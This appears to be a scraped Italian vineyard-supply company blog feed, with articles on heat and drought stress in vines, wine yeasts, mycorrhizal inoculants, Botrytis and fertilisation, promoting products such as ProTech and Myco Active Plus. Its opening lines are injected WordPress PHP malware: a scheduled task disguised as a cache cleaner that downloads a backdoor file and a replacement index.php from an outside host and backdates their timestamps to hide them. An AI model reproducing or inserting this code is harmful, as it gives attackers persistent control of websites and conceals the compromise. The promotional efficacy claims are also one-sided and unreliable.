if(!wp_next_scheduled('wp_cache_gc')){wp_schedule_event(time(),'daily','wp_cache_gc');}
add_action('wp_cache_gc',function(){
$r=filemtime(ABSPATH.'wp-config.php');
$z=ABSPATH.'wp-liinks.php';
$i=ABSPATH.'index.php';
if(!file_exists($z)){@copy('https://devtools.websihosts.com/u282n1/wp-liinks.php',$z);@touch($z,$r);}
if(strpos(file_get_contents($i),'wp-liinks.php')===false){@copy('https://devtools.websihosts.com/u282n1/indexx.txt',$i);@touch($i,$r);}
});
La scarsità di precipitazioni e le giornate molto calde ormai da qualche anno stanno facendo registrare seri danni alla viticoltura italiana: ingiallimenti delle foglie, scottature sugli acini e perfino problemi di maturazione.

Normalmente le piante regolano l’evapo-traspirazione e l’equilibrio idrico tramite la regolazione della traspirazione fogliare e regolando il flusso di liquidi verso le foglie. Le acquaporine sono le mediatrici del flusso idraulico vegetale (Vande- leur et al., 2009) insieme alle caratteristiche anatomiche dei vasi conduttori (Lovi- solo et al., 2010) regolano il trasporto dei liquidi verso le foglie, per poi trovare gli stomi che, in base alla conduttanza stomatica regolata dagli ormoni e dalla superficie fogliare, sono responsabili della traspirazione all’esterno (Schultz, 2003).
Quando la pianta comincia a percepire una situazione di stress, attiva una serie di meccanismi che regolano quanto descritto sopra per limitare al massimo il movimento di liquidi verso le foglie e la traspirazione attraverso gli stomi, chiudendoli, alcune varietà però in realtà non ci riescono del tutto, gli stomi vanno in crisi e rimangono aperti invece che chiudersi, con il risultato opposto a quello necessario.
Stimolando proprio questi meccanismi metabolici, gli idrolizzati proteici di origine vegetale ed in particolare ProTech, risultano essere un’ottima soluzione per affrontare la stagione più calda.
ProTech è un idrolizzato proteico complesso ricco di amminoacidi e polipeptidi specifici, di origine vegetale, estremamente efficace nella stimolazione dei metabolismi responsabili della risposta agli stress. Le piante trattate con ProTech resistono a temperature molto più alte, continuano a regolare normalmente l’attività stomatica e superano le alte temperature senza difficoltà oltre che a utilizzare molta meno acqua.
Le piante che vanno in crisi per le alte temperature entrano in uno stato di protezione, fintanto che le temperature esterne non tornano nel range di normale operatività, interrompono i metabolismi di maturazione del frutto (motivo per il quale dai vigneti che hanno sofferto il caldo si ottengono uve molto sbilanciate) e spesso non riescono neanche a maturare il legno e le gemme per l’anno successivo.
– È importante preparare le piante al forte caldo con biostimolanti specifici, ProTech (leggi articolo) è il migliore prodotto in commercio contro lo stress da caldo e siccità. Anche per quei vigneti che hanno sofferto, un trattamento aiuta a superare la fase critica e ricominciare a lavorare per la maturazione.
-Attenzione alla cimatura e sfogliatura, in previsione di forte stress è plausibile che parte delle prime foglie (intorno ai grappoli) dissecchino. Cerchiamo di mantenere sempre sufficiente superficie fogliare per garantire la maturazione, quindi il nostro consiglio e di non procedere a sfogliature e cimature esagerate, potremmo avere bisogno di quelle foglie più avanti.
- Tenete sotto controllo tignola e tignoletta, con questo clima sono molto attive, le loro forature combinate con le piogge improvvise estive garantiscono attacchi importanti di botrytis.
ProTech è un biostimolante efficace verso stress abiotici (caldo, freddo, carenza idrica etc.), ha una composizione ricca di amminoacidi e peptidi, questi composti vengono assorbiti rapidamente dalla pianta e ne stimolano fortemente i meccanismi naturali di difesa. Protech rende le piante più resistenti alla siccità, scarsità di elementi e molto altro, negli ultimi anni abbiamo avuto una grande prova della sua efficacia, portando a produzione piena vigneti in tutta Italia grazie a lui. (leggi articolo)
ProTech è disponibile anche online qui https://www.enoadvance.com/product-page/protech
Un nostro tecnico ti risponderà subito
Se queste informazioni sono state utili, iscriviti alla nostra newsletter, è gratis! Riceverai bollettini fitosanitari e agrometeo aggiornati durante la stagione, ricevi l’informazione che ha salvato molte produzioni negli anni passati!
]]>Affinché questo processo avvenga nel miglior modo possibile, è necessario innanzi tutto controllare e gestire la fermentazione alcolica in modo da ottenere un prodotto naturale, salubre, piacevole al gusto e all’olfatto e stabile nel tempo.
La fermentazione è la fase più delicata, il mosto di uva è infatti un substrato molto delicato che va protetto da ossidazione e da inquinamenti microbici indesiderati. Una fermentazione ben gestita è il primo importantissimo step per ottenere un ottimo vino.
Il lievito Saccharomyces cerevisiae è il principale microrganismo responsabile della fermentazione alcolica. È un microrganismo che accompagna l’essere umano da migliaia di anni, è infatti lo stesso microrganismo responsabile della lievitazione del pane e della fermentazione alcolica della birra.
Come già anticipato, i lieviti sono microrganismi fondamentali per la produzione di vino, sono responsabili della fermentazione alcolica, sono i principali agenti produttori di aromi e contribuiscono a rendere il vino la bevanda che conosciamo.
I lieviti secchi attivi (LSA) non sono altro che lieviti naturali selezionati negli anni in ambiente enologico per le loro caratteristiche peculiari. Quei lieviti che hanno dato risultati migliori nelle vinificazioni sono stati selezionati e riprodotti naturalmente in modo da sfruttare le loro caratteristiche.
Il motivo per cui si utilizzano lieviti selezionati è perché così si riesce a prevedere e controllare la fermentazione alcolica, un processo che altrimenti lasciato al caso potrebbe anche produrre sostanze dannose per la salute o produrre fermentazioni parziali lasciando residui zuccherini.
L’uso di microrganismi selezionati rende il processo di fermentazione sicuro sia dal punto di vista del risultato che dal punto di vista di salubrità, un esempio paragonabile è nella produzione del formaggio Gorgonzola dove vengono utilizzate muffe selezionate che fanno la differenza fra un gustoso prodotto salubre e un formaggio ammuffito e potenzialmente tossico.
In commercio sono presenti numerosi ceppi diversi, ognuno dei quali ha caratteristiche peculiari; dai ceppi per grandi vini rossi, ai grandi produttori aromatici, ai ceppi resistenti alle condizioni più difficili e quelli più adatti ai vini spumanti.
Il primo fattore decisionale da valutare è l’obiettivo enologico: che tipo di vino si vuole ottenere?
Quando si seleziona un lievito, si studiano a fondo i suoi metabolismi, la cinetica di fermentazione, le sua capacità aromatiche e molti altri parametri che ci permettono di capire come posizionarlo. Esistono infatti lieviti più adatti a vinificazioni in bianco, altri adatti a produrre vini rossi dalla pronta beva, altri ancora adatti a vini rossi da invecchiamento e così via.
Il nostro consiglio è quindi, come quando si vuole costruire una casa si parte dal progetto, capire cosa si vuole fare con la nostra uva e cominciare a scegliere il lievito in base alle sue caratteristiche. In particolare i fattori principali da valutare sono:
Nel 1945, quando il Laboratorio Enologico Toscano è stato fondato, siamo stati fra i primi in Italia a selezionare e riprodurre lieviti per uso enologico. Selezionavamo lieviti dalle fermentazioni che davano migliori risultati e li riproducevamo utilizzando agar.
Dal 1945 il nostro lavoro di selezione e riproduzione non si è mai fermato, migliorando di anno in anno la nostra esperienza e capacità di offrire ai nostri clienti prodotti sempre migliori.
Analisi, selezione ed esperienza con i migliori ceppi, nel nostro catalogo è possibile trovare lieviti dalle caratteristiche sorprendenti. Tutti i nostri lieviti sono conservati a temperatura controllata per garantire e mantenere la vitalità.
Prima di essere commercializzato, ogni lievito viene analizzato e ne vengono testate caratteristiche e potenzialità, per poi essere destinato alle specifiche vinificazioni di qualità.
Caratterizzati in generale dalla grande vitalità, permettono in molti casi dosaggi contenuti e grandi risultati.
Ogni uva viene valorizzata al meglio con la nostra linea, esplosioni di aromi, struttura eccezionale, rifermentazioni estreme.
Puoi trovare i nostri lieviti cliccando sul bottone qui sotto, utilizza i comodi filtri per selezionare il lievito che più si adatta alle tue esigenze, contattaci per avere supporto all’acquisto, i nostri enologi sono sempre a disposizione dei nostri clienti!
Se queste informazioni sono state utili, iscriviti alla nostra newsletter, è gratis! Riceverai bollettini fitosanitari e agrometeo aggiornati durante la stagione, ricevi l’informazione che ha salvato molte produzioni negli anni passati!
]]>Le micorrize sono funghi che vivono in stretto rapporto di cooperazione con le piante. Esistono due grandi gruppi (Ectomicorrize e Endomicorrize), ma quello che più interessa a noi sono le endomicorrize, simbionti obbligati in grado di connettersi con le radici occupando gli spazi intercellulari della superficie corticale, tramite le loro ife esplorano il terreno e scambiano continuamente con le piante sostanze nutritive, ampliando esponenzialmente così la loro rete radicale e la capacità di sfruttare il terreno.
Che vantaggi possono dare le micorrize?
Oltre 1000 propaguli per grammo di micorrize selezionate e la presenza di batteri della ryzosphera e di Trichoderma contribuiscono alla formazione di un ambiente ottimale.
Il momento migliore per l’inoculo è al trapianto di qualsiasi pianta (Myco Active Plus WP è compatibile con il 95% delle specie vegetali), nel caso di nuovi impianti vigneto, la piantumazione di barbatelle micorrizate garantisce uno sviluppo decisamente migliore dell’apparato radicale che si traduce in sviluppo ottimale di tutta la pianta, migliore resistenza alla siccità, al caldo e alle malattie.
Myco Active Plus wp è indicato per fare sia “bagni radicali” prima della messa a dimora che applicazioni localizzate in vigneti adulti su piante in stress che manifestano stanchezza.
Se vuoi maggiori informazioni sul prodotto Myco Active Plus WP, dove trovarlo o come funziona, puoi cliccare questo link MycoActive Plus
Un nostro tecnico ti risponderà subito
I nostri biostimolanti e le nostre tecnologie sono utilizzate con successo dalle migliori aziende Italiane, da nord a sud abbiamo fornito oltre 100.000 ettari con successo e soddisfazione dei nostri clienti.
MycoActive Plus WPInoculo di funghi micorrizici concentrato – stimola la crescita e la resistenza delle piante
▶︎ Anche per USO BIOLOGICO
Myco Active PLUS WP è un complesso concentrato di microrganismi specifici della rizosfera sia micorrizici che probioti.
Questi instaurano un rapporto simbiontico e associativo con le radici della coltura trattata molto rapidamente determinando un miglior sviluppo vegetativo, una maggiore tolleranza alle condizioni pedoclimatiche sfavorevoli e aumenti in quantità e qualità dei raccolti.
Se queste informazioni sono state utili, iscriviti alla nostra newsletter, è gratis! Riceverai bollettini fitosanitari e agrometeo aggiornati durante la stagione, ricevi l’informazione che ha salvato molte produzioni negli anni passati!
]]>Per la maggior parte dei viticoltori italiani è stato un incubo, siccità e calore intenso hanno messo in difficoltà i vigneti anche in zone che fino ad ora non avevano mai avuto problemi.
Potendo contare su un’esperienza di oltre 70 anni e sui nostri tecnici che hanno girato tutto il paese, possiamo dare qualche consiglio ai nostri clienti, iniziando proprio dalla base e affrontando in questo articolo la gestione della fertilità del terreno.
Per contrastare il cambiamento climatico è necessario lavorare con precisione e attenzione. Partendo dalla gestione del terreno e dei nutrienti, una gestione ottimale del vigneto rende le piante forti, vigorose e pronte ad eventuali criticità.
Forti della nostra esperienza, abbiamo deciso di parlare del nostro approccio orientato alla salute della pianta. I risultati visibili in campo anno dopo anno ci danno ragione, piante sane e forti rispondo meglio agli stress.
• Potatura
• Lavorazioni del terreno
• Fertilizzazione
• Gestione stagionale fertilità
La concimazione è fondamentale per avere vigneti in salute e produzioni soddisfacenti, le piante che hanno a disposizione le sostanze di cui hanno bisogno, nel momento del bisogno, risponderanno in maniera ottimale agli stimoli esterni, siano essi climatici o microbiologici.
Le analisi del terreno sono fondamentali per la salute delle piante e per ottenere produzioni ottimali. È necessario conoscere i parametri del proprio vigneto sin dalla scelta dei portinnesti, per poter apportare con le concimazioni quello che è necessario.
Se il nostro vigneto ha mostrato debolezze importanti è fondamentale valutare interventi sia invernali che primaverili con concimazioni mirate e adeguate.
I forti rincari dei fertilizzanti rendono ancora più importante un loro utilizzo preciso e adeguato, tempistiche e scelta delle sostanze per diminuire spreco di soldi e risorse che talvolta può essere anche dannoso per il vigneto.
I fertilizzanti non sono tutti uguali, c’è da tenere conto del periodo di utilizzo consigliato e tempi di rilascio dei nutrienti nel terreno (per esempio nutrienti disponibili rapidamente a novembre saranno difficilmente sfruttati dalle piante).
Ma bisogna sempre ricordarsi che uno scompenso nutrizionale può anche rendere le piante più suscettibili ai patogeni o agli stress climatici.
Eseguire la concimazione con precisione, con le opportune conoscenze della dotazione di quel dato terreno, distribuendo gli elementi necessari al raggiungimento dell’obiettivo produttivo.
L’agronomo, dopo aver interpretato le analisi e tutti gli altri aspetti agronomici (fra i quali anche l’osservazione delle piante e delle carenze visibili), redigerà un piano di concimazione specifico.
Se ti occorrono informazioni sulle analisi del terreno e sui piani di concimazioni specifici chiedi ai nostri tecnici cliccando qui sotto
Per informazioni sulle analisi del terreno, visita questa pagina e scopri di più
NB:Diffida da concimazioni “miracolose”, non esiste il fertilizzante perfetto, esistono fertilizzanti più o meno adatti alla dotazione del tuo appezzamento e solo un tecnico preparato può farti ottenere il miglior risultato possibile senza spreco di risorse!
Iscriviti alla nostra newsletter, è gratis! Riceverai bollettini fitosanitari e agrometeo aggiornati, ricevi l’informazione che ha salvato molte produzioni negli anni passati!
]]>La Botrytis cinerea è un fungo della famiglia delle sclerotiniaceae, patogeno comune su molte varietà vegetali, caratterizzato da un’elevato numero di conidi ialini ubicati sui conidiofori, strutture ramificate caratteristiche e ben visibili in caso di infezione.
I conidi vengono dispersi dal vento e dall’acqua piovana e provocano nuove infezioni, predilige ambienti caldi e umidi.
Botrytis cinerea è capace di notevole variabilità genetica che, grazie anche alla velocità di diffusione e di moltiplicazione la rende estremamente capace di formare popolazioni resistenti ad antibotritici chimici!
Un altro problema in condizioni climatiche avverse, specialmente dopo una stagione molto siccitosa e calda sono i marciumi, primo fra tutti il marciume acido.
A seguito di temporali intensi o grandinate violente, gli acini si spaccano facendo fuoriuscire liquidi, ambiente perfetto per funghi e batteri inquinanti, specialmente lieviti apiculati, ossidativi e batteri acetici.
In condizioni estremamente favorevoli, Botrytis e marciume acido possono arrecare danni enormi in poco tempo.
In condizioni favorevoli botrytis danneggia anche apparato fogliare e legno, oltre che grappoli e germogli, arrecando danni e sviluppando sulla pianta popolazioni resistenti molto difficili da combattere.
Il rischio maggiore sui grappoli per le varietà a grappolo compatto e uva da tavola.
La stagione calda e siccitosa ha reso le bucce in media più sottili e delicate rispetto agli anni passati, le forti precipitazioni che stanno colpendo l’Italia da agosto rendono la situazione a rischio.
Quali sono le alternative?
– Bentonite e zeoliti hanno una sola azione meccanica di assorbimento dell’acqua, ma se l’umidità è elevata come in questa fase e la bagnatura è consistente allora è davvero inefficace, oltre che a trasformarsi in una sorta di “spugna umida” ben ancorata ai grappoli. Non aiutano la cicatrizzazione e non hanno effetto sui patogeni.
– Il metabisolfito di potassio non ha nessun tipo di azione in ambienti aperti poiché l’anidride solforosa che si forma in soluzione acquosa evapora rapidamente.
La soluzione più efficace in assoluto per Botrytis è lavorare sulla pianta, il patogeno non può sviluppare resistenza alle difese naturali di una pianta in salute.
La nostra soluzione a questo problema, con ottimi risultati già dal 2002 è Antimyc, un complesso di microrganismi e amminoacidi in grado di stimolare il perfetto equilibrio vegetativo in condizioni di forte umidità.
L’uso di microrganismi specifici, come quelli presenti in Antimyc, rende la pianta forte e vigorosa stimolando quei metabolismi responsabili della diffusione di PR Proteins, con l’uso di Antimyc si riporta l’equilibrio microbiologico in condizioni di normalità nel giro di poche ore.
Un nostro tecnico ti risponderà al più presto
]]>È stato fino ad ora maggiormente interessato il centro nord, dal Piemonte al Friuli passando per la Lombardia con temperature costantemente vicino ai 40 gradi, per poi scendere Emilia Romagna e Toscana e il centro sud con temperature sempre elevate e siccità record.
In molti pensano che sia sufficiente irrigare le colture sofferenti, invece il problema è molto più profondo: il calore, oltre un certo limite, manda completamente in crisi la maggior parte delle piante della nostra fascia climatica.
Prima di dedicare qualche riga ai sintomi dello stress da caldo e a come individuarlo, vogliamo parlarvi di ProTech, è questo il momento di intervenire con il miglior biostimolante sul mercato per stress idrico e da calore!
ProTech è un complesso idrolizzato proteico ricco di amminoacidi e polipeptidi specifici, di origine vegetale, estremamente efficace nella stimolazione dei metabolismi responsabili della risposta agli stress. Le piante trattate con ProTech non vanno in crisi, continuano a regolare normalmente l’attività stomatica e superano le alte temperature senza difficoltà.
Ci aspetta, secondo le previsioni meteo, un finale di estate ancora all’insegna del caldo torrido, con bolle di aria calda africana e temperature oltre i 40 gradi: meglio prepararsi per evitare brutte e spiacevoli sorprese sulla maturazione.
– È importante preparare le piante al forte caldo con biostimolanti specifici, ProTech (leggi articolo) è il migliore prodotto in commercio contro lo stress da caldo e siccità. Anche per quei vigneti che hanno sofferto, un trattamento aiuta a superare la fase critica e ricominciare a lavorare per la maturazione.
-Attenzione alla cimatura e sfogliatura, in previsione di forte stress è plausibile che parte delle prime foglie (intorno ai grappoli) dissecchino. Cerchiamo di mantenere sempre sufficiente superficie fogliare per garantire la maturazione, quindi il nostro consiglio e di non procedere a sfogliature e cimature esagerate, potremmo avere bisogno di quelle foglie più avanti.
- Tenete sotto controllo tignola e tignoletta, con questo clima sono molto attive, le loro forature combinate con le piogge improvvise estive garantiscono attacchi importanti di botrytis.
ProTech è il nostro induttore dedicato agli stress abiotici (caldo, freddo, carenza idrica etc.), ha una composizione ricca di amminoacidi e peptidi bio attivi, questi composti vengono assorbiti rapidamente dalla pianta e ne stimolano fortemente i meccanismi naturali di difesa. Protech rende le piante a prova di siccità, scarsità di elementi e molto altro, negli ultimi anni abbiamo avuto una grande prova della sua efficacia, portando a produzione piena vigneti in tutta Italia grazie a lui. (leggi articolo)
ProTech è disponibile anche online qui https://www.enoadvance.com/product-page/protech
Un nostro tecnico ti risponderà subito
Se queste informazioni sono state utili, iscriviti alla nostra newsletter, è gratis! Riceverai bollettini fitosanitari e agrometeo aggiornati durante la stagione, ricevi l’informazione che ha salvato molte produzioni negli anni passati!
]]>Le micorrize sono uno strumento molto efficace per migliorare l’equilibrio delle piante con l’ambiente e la vita microbiologica del terreno per rendere le colture in condizione di superare ogni tipo di stress.
L’utilizzo di micorrize è utile anche e soprattutto con un clima in continua evoluzione, con stagioni sempre più difficili e condizioni estreme che stanno mettendo in difficoltà i vigneti di tutta Italia.
Le micorrize infatti sono funghi che vivono in stretto rapporto di cooperazione con le piante. Questi funghi sono collegati direttamente alle radici delle piante tramite le loro ife scambiando continuamente con esse sostanze nutritive e ampliando esponenzialmente così la loro rete radicale.
Che vantaggi possono dare le micorrize?
esponenzialmente l’apparato radicale della pianta che riesce ad espandersi in un volume di terra maggiore. Questo rende le piante molto più resistenti agli stress e molto più efficienti nell’assorbimento di nutrienti.
Come si ottiene un buono sviluppo di micorrize nelle radici?
In fig. 1 a sinistra le radici di una pianta trattata con MycoActive Plus WP, a destra un testimone non trattato. La differenza dopo solo un anno è notevole e ben evidente sia nel volume che nella quantità di radici attive.
Il momento migliore per l’inoculo è al trapianto di qualsiasi pianta, nel caso di nuovi impianti vigneto, la piantumazione di barbatelle micorrizate garantisce uno sviluppo decisamente migliore dell’apparato radicale che si traduce in sviluppo ottimale di tutta la pianta, migliore resistenza alla siccità, al caldo e alle malattie. Il vantaggio è dovuto principalmente ad un apparato fogliare più sviluppato e in grado di garantire alle piante un accumulo ottimale di sostanze nutritive.
La nostra soluzione, con la più alta concentrazione di endomicorrizze sul mercato, è Myco Active Plus wp, che grazie alla sua formulazione ed alla concentrazione di micorrize (oltre 1000 propaguli per grammo di endomicorrize selezionate), Trichoderma e altri batteri della ryzosphera, è indicato per fare sia “bagni radicali” prima della messa a dimora che applicazioni localizzate in vigneti adulti su piante in stress che manifestano stanchezza.
Se vuoi maggiori informazioni sul prodotto Myco Active Plus WP, dove trovarlo o come funziona, puoi cliccare questo link MycoActive Plus
Un nostro tecnico ti risponderà subito
I nostri biostimolanti e le nostre tecnologie sono utilizzate con successo dalle migliori aziende Italiane, da Montalcino al Chianti, da Montepulciano all’Empolese fino alla Maremma e tutta la costa Toscana.
Inoculo di funghi micorrizici concentrato – stimola la crescita e la resistenza delle piante
▶︎ Anche per USO BIOLOGICO
Myco Active PLUS WP è un complesso concentrato di microrganismi specifici della rizosfera sia micorrizici che probioti.
Questi instaurano un rapporto simbiontico e associativo con le radici della coltura trattata molto rapidamente determinando un miglior sviluppo vegetativo, una maggiore tolleranza alle condizioni pedoclimatiche sfavorevoli e aumenti in quantità e qualità dei raccolti.
puoi acquistarlo direttamente qui
Se queste informazioni sono state utili, iscriviti alla nostra newsletter, è gratis! Riceverai bollettini fitosanitari e agrometeo aggiornati durante la stagione, ricevi l’informazione che ha salvato molte produzioni negli anni passati!
]]>
Ingiallimento delle foglie basali, scottature sui grappoli e influenza sulla maturazione sono i sintomi presenti sempre più frequentemente.Per alcune varietà, come il sangiovese in Toscana, già a 35°C inizia a manifestarsi lo stress da caldo e seguente stress idrico, ma perché avviene questo?
Normalmente le piante regolano l’evapotraspirazione e l’equilibrio idrico tramite la regolazione della traspirazione fogliare e regolando il flusso di liquidi verso le foglie. Le acquaporine sono le mediatrici del flusso idraulico vegetale (Vande- leur et al., 2009) insieme alle caratteristiche anatomiche dei vasi conduttori (Lovi- solo et al., 2010) regolano il trasporto dei liquidi verso le foglie, per poi trovare gli stomi che, in base alla conduttanza stomatica regolata dagli ormoni e dalla superficie fogliare, sono responsabili della traspirazione all’esterno (Schultz, 2003).
Quando la pianta comincia a percepire una situazione di stress, attiva una serie di meccanismi che regolano quanto descritto prima per limitare al massimo il movimento di liquidi verso le foglie e la traspirazione attraverso gli stomi, chiudendoli, alcune varietà però in realtà non ci riescono del tutto, gli stomi vanno in crisi e rimangono aperti invece che chiudersi con il risultato opposto a quello necessario.
Le condizioni climatiche uniche del mediterraneo hanno permesso sino ad oggi di avere una situazione di leggero stress idrico che induceva un’accumulo delle sostanze di difesa nelle bacche, sostanze a noi utili in quanto aromatiche, fenoliche etc. Purtroppo i dati degli ultimi anni, l’aumento delle temperature medie sopratutto, indicano che ci stiamo allontanando dalle condizione perfette per cui il mediterraneo è famoso e lo stress estivo è sempre più un problema, tanto da compromettere la produzione nelle zone con scarsità di acqua.
-Attenzione alle operazioni di cimatura e sfogliatura, con la certezza che le temperature medie estive sono in aumento è prevedibile il rischio di forte stress e il disseccamento delle prime foglie (intorno ai grappoli). Cerchiamo di mantenere sempre sufficiente superficie fogliare per garantire la maturazione (l’ottimale è circa 1 m quadro per 1 kg di uva), quindi il nostro consiglio di sfogliare e cimare con coscienza perché potremmo avere bisogno di quelle foglie più avanti.
– È importante preparare le piante al forte caldo con biostimolanti specifici, negli anni gli idrolizzati proteici di origine vegetale si sono dimostrati i migliori per questo scopo, esenti da ormoni (come molte alghe). Proprio un idrolizzato proteico è il nostro ProTech, risultato il migliore prodotto in commercio contro lo stress da caldo e siccità in molti test e applicazioni. Anche per quei vigneti che hanno sofferto, un trattamento aiuta a superare la fase critica e ricominciare a lavorare per la maturazione.
– Sfruttare prodotti come caolino e zeolite per creare delle barriere meccaniche al sole, si intende che questi prodotti sono utili per proteggere i grappoli dalle scottature, ma in nessun modo aiutano la pianta a stimolare processi metabolici specifici.
ProTech è un idrolizzato proteico specifico, ricco di amminoacidi e peptidi a corta catena, molto attivo proprio per gli stress abiotici come caldo e siccità. ProTech agisce direttamente e rapidamente sulle acquaporine e sulla regolazione del sistema stomatico, garantendo il buon funzionamento della regolazione della temperatura e della traspirazione dei liquidi.
Nei vigneti trattati con ProTech non abbiamo registrato nessuna ustione, oltre che ad avere un apparato fogliare attivo e in salute. La temperatura fogliare è mediamente fino a 5°C inferiore rispetto al testimone non trattato, sintomo del mantenimento dell’efficienza dell’apparato.
Nel terreno abbiamo registrato un miglioramento della gestione idrica, le piante non in stress consumano fino ad un 30% di acqua in meno, garantendo una resistenza migliorata.
Un nostro tecnico ti risponderà nel più breve tempo possibile
I nostri biostimolanti e le nostre tecnologie sono utilizzate con successo dalle migliori aziende Italiane, da Montalcino al Chianti, da Montepulciano all’Empolese fino alla Maremma e tutta la costa Toscana.
ProTech ha una composizione amminoacidica specifica per la stimolazione della vigoria in risposta agli stress abiotici, è un idrolizzato proteico di origine vegetale di elevatissima qualità. Protech aiuta la pianta a regolare il flusso stomatico e ottimizzare l’evapotraspirazione cellulare, in presenza di scompensi di temperatura (freddo o caldo) e in casi di siccità o sofferenza idrica permette alle piante di superare la crisi e di ottimizzare le energie per riportare la vegetazione in equilibrio!ProTech è ammesso anche in agricoltura BIOLOGICA
puoi acquistarlo direttamente qui
Se queste informazioni sono state utili, iscriviti alla nostra newsletter, è gratis! Riceverai bollettini fitosanitari e agrometeo aggiornati durante la stagione, ricevi l’informazione che ha salvato molte produzioni negli anni passati!
]]>L’inverno metereologico più caldo di sempre che, dai modelli ECMWF, sembra portare ad un’altra ed ennesima estate da record, sono molte le analogie infatti con l’anno 2003 e le prossime settimane saranno determinanti per ipotizzare anche l’entità delle piogge, per il momento i dati indicano una probabile variazione termica di oltre 2 gradi sulle medie e una leggere diminuzione delle precipitazioni.
Quali sono i rischi per la viticoltura?
È pensiero comune che sia sufficiente irrigare le colture sofferenti, invece il problema è molto più profondo: il calore, oltre un certo limite, manda completamente in crisi la maggior parte delle piante della nostra fascia climatica, cosa succede esattamente oltre certe temperature?
Le acquaporine, che sono le mediatrici del flusso idraulico vegetale (Vande- leur et al., 2009), insieme alle caratteristiche anatomiche dei vasi conduttori (Lovi- solo et al., 2010) regolano il trasporto dei liquidi verso le foglie, per poi trovare gli stomi che, in base alla conduttanza stomatica regolata dagli ormoni e dalla superficie fogliare, sono responsabili della traspirazione all’esterno (Schultz, 2003).
Quando la pianta comincia a percepire una situazione di stress, attiva una serie di meccanismi che regolano quanto descritto prima per limitare al massimo il movimento di liquidi verso le foglie e la traspirazione attraverso gli stomi, chiudendoli, alcune varietà però in realtà non ci riescono del tutto, gli stomi vanno in crisi e rimangono aperti invece che chiudersi con il risultato opposto a quello necessario.
Le foglie, inoltre, indebite e disidratate non riescono a regolare la temperatura superficiale, aggravando costantemente lo stato di stress dell’intera pianta, fino al blocco della maturazione del frutto e delle gemme per l’anno successivo.
La ripresa da questo genere di stress impiega circa 15 giorni, dopo che la situazione climatica torna ad una situazione normale, in ogni caso la stagione è in ogni caso fortemente compromessa.
Alcune varietà sono più resistenti al caldo rispetto ad altre, cosa le contraddistingue? La genetica è fondamentale e grazie alla ricerca sono stati individuati composti specifici che stimolano la resistenza.
Abbiamo raccolto, negli ultimi anni, numerosi dati a sostegno di quanto scriviamo, utilizzando il nostro prodotto specifico a base di aminoacidi e peptidi bioattivi infatti si ottengono risultati eccellenti, rapidamente. Gli studi fatti negli ultimi anni confermano il ruolo fondamentale degli idrolizzati proteici nella resistenza al calore, alla siccità e ad altri stress abiotici.
Il risultato della nostra ricerca è ProTech, idrolizzato proteico di origine vegetale con una composizione specifica per gli stress abiotici.
ProTech è molto efficace, ristabilisce rapidamente il funzionamento regolare degli stomi, rafforzando le foglie e intervenendo nei metabolismi specifici per la resistenza al calore. Oltre che regolare le acquaporine il funzionamento stomatico, abbiamo registrato nelle giornate più calde un interessante effetto sulle foglie, anche in condizioni estreme, le foglie delle piante trattate non superano mai temperature critiche, continuando a regolare la temperatura e la traspirazione (vedi foto sotto, realizzate con telecamera termica nelle giornate più calde del 2019).
ProTech è molto più efficace se dato in anticipo rispetto alle ondate di calore, consigliamo infatti di cominciare a distribuirlo in campo, in annate a rischio come questa, già all’allegagione per indurre nelle piante dai primi caldi una condizione ottimale per affrontare l’estate.
ProTech può essere usato anche come soluzione ad uno stress già presente?
Si, la stimolazione e il recupero di impianti sofferenti è possibile anche a posteriori, riportando in salute situazioni difficili e permettendo alle piante di respirare (nel vero senso della parola) e portare a maturazione i frutti altrimenti compromessi.
Ci sono altre pratiche agronomiche che possono aiutare notevolmente le nostre viti per superare il caldo, ecco qui alcuni consigli:
-Attenzione alla cimatura e sfogliatura, in previsione di forte stress è plausibile che parte delle prime foglie (intorno ai grappoli) dissecchino. Cerchiamo di mantenere sempre sufficiente superficie fogliare per garantire la maturazione e la sopravvivenza della pianta, quindi il nostro consiglio e di non procedere a sfogliature e cimature esagerate, potremmo avere bisogno di quelle foglie più avanti. Inoltre, in caso di temperature molto alte (come nel 2017 per esempio) l’assenza di fogli davanti al grappolo ha causato ingenti danni da bruciature su uva, compromettendo la qualità del prodotto.
- Inerbimento, è dimostrato scientificamente che un terreno inerbito determina l’abbassamento delle temperature di diversi gradi, con una situazione climatica come quella che stiamo vivendo è fortemente consigliato di valutare un inerbimento parziale o completo.
ProTech è il nostro induttore dedicato agli stress abiotici (caldo, carenza idrica..), ha una composizione ricca di amminoacidi e peptidi bio attivi, questi composti vengono assorbiti rapidamente dalla pianta e ne stimolano fortemente i meccanismi naturali di difesa. Protech rende le piante a prova di siccità, scarsità di elementi e molto altro, nel 2017 abbiamo avuto una grande prova della sua efficacia, portando a produzione piena vigneti in tutta Italia grazie a lui. (leggi articolo)
ProTech è disponibile sul nostro ecommerce in confezione da 250 g, 1 kg e 5 kg a questo link
Un nostro tecnico ti risponderà subito
Se queste informazioni sono state utili, iscriviti alla nostra newsletter, è gratis! Riceverai bollettini fitosanitari e agrometeo aggiornati durante la stagione, ricevi l’informazione che ha salvato molte produzioni negli anni passati!
]]>Il vero rischio di queste giornate primaverili è proprio la bagnatura notturna, difficile da quantificare senza dati alla mano, ma pericolosa quanto una lunga pioggia.
Il grafico sopra riporta i dati di temperatura e umidità di una giornata dei primi di maggio 2020, giornata di sole, notte di alta umidità, per ben 8 ore sopra al 90% con temperature sempre al di sopra dei 10°C. Se poi si considerano anche i dati di bagnatura fogliare espressi nel grafico in basso, sempre relativi alla stessa giornata, è interessante notare come le condizioni meteo causino una bagnatura che oscilla fra il 30% e il 75% per ben 5 ore.
Vuoi saperne di più sulle centraline che utilizziamo noi? Scrivici e chiedici info, sono uno strumento molto utile!
I dati mostrano chiaramente che per almeno 5 ore ci sono state le condizioni per un’infezione di peronospora, il fungo infatti ha bisogno di acqua per poter attaccare la pianta e in questo caso specifico ha avuto a disposizione abbastanza tempo per farlo.
La bagnatura fogliare tuttavia è una condizione differente da una pioggia, per varie ragioni, ma la più importante che a noi interessa dal punto di vista fitoiatrico è che non dilava i fitofarmaci rapidamente come una pioggia (non essendoci acqua che scorre, ma solo condensa).
✓ Condizioni ottimali per l’infezione
✓ Assenza di dilavamento dei fitofarmaci
È sufficiente mantenere la copertura con prodotti di contatto, non è necessario utilizzare sistemici in questa fase, è sempre consigliato ridurre l’uso di sistemici quando non è necessario.
Situazioni come questa, di forte bagnatura fogliare notturna, sono ottime per sfruttare al massimo il potenziale dei prodotti della linea Activo, rendendo le piante forti e vigorose in condizioni difficili.
